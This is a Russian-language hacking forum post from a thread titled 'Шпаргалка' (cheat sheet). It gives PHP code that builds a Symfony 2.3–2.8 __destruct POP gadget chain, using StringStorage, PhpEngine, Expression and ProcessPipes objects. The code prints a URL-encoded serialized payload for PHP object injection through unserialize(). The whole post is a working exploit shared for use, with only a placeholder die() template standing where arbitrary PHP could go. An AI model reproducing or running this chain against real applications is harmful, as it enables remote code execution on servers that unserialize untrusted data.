Тема: Шпаргалка
Показать сообщение отдельно
Старый 05.12.2017, 13:02   #106
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Symfony Framework 2.3.42 >= 2.8.32 (latest of 2.x now) __destruct POP chain

PHP код:
<?php

namespace Symfony\Component\Templating\Storage{
    class 
StringStorage{
          protected 
$template '<?php die("m4k3 rd07 c4k3 4g41n!") ?>';
    }
    
    
$s = new StringStorage;
}

namespace 
Symfony\Component\Templating{
    class 
TemplateNameParser{}
    class 
TemplateReference{}
    class 
PhpEngine{
        protected 
$parser;
        protected 
$cache;
        protected 
$current;
        protected 
$globals = array();
        public function 
__construct($s){
            
$this->parser = new TemplateNameParser;
            
$this->current = new TemplateReference;
            
$this->cache = array(NULL=>$s);
        }
    }
    
    
$p = new PhpEngine($s);
}

namespace 
Symfony\Component\Finder\Expression{
    class 
Expression{
        private 
$value;
        public function 
__construct($p){
            
$this->value $p;
        }
    }

    
$e = new Expression($p);
}

//namespace Symfony\Component\Process\Pipes{        // > 2.5
namespace Symfony\Component\Process{
//    class WindowsPipes{                                // > 2.5
    
class ProcessPipes{
        private 
$files = array();
        public function 
__construct($e){
            
$this->files = array($e);
        }    
    }


//echo urlencode(serialize(new WindowsPipes($e)));    // > 2.5
echo urlencode(serialize(new ProcessPipes($e)));
}

?>
crlf вне форума   Ответить с цитированием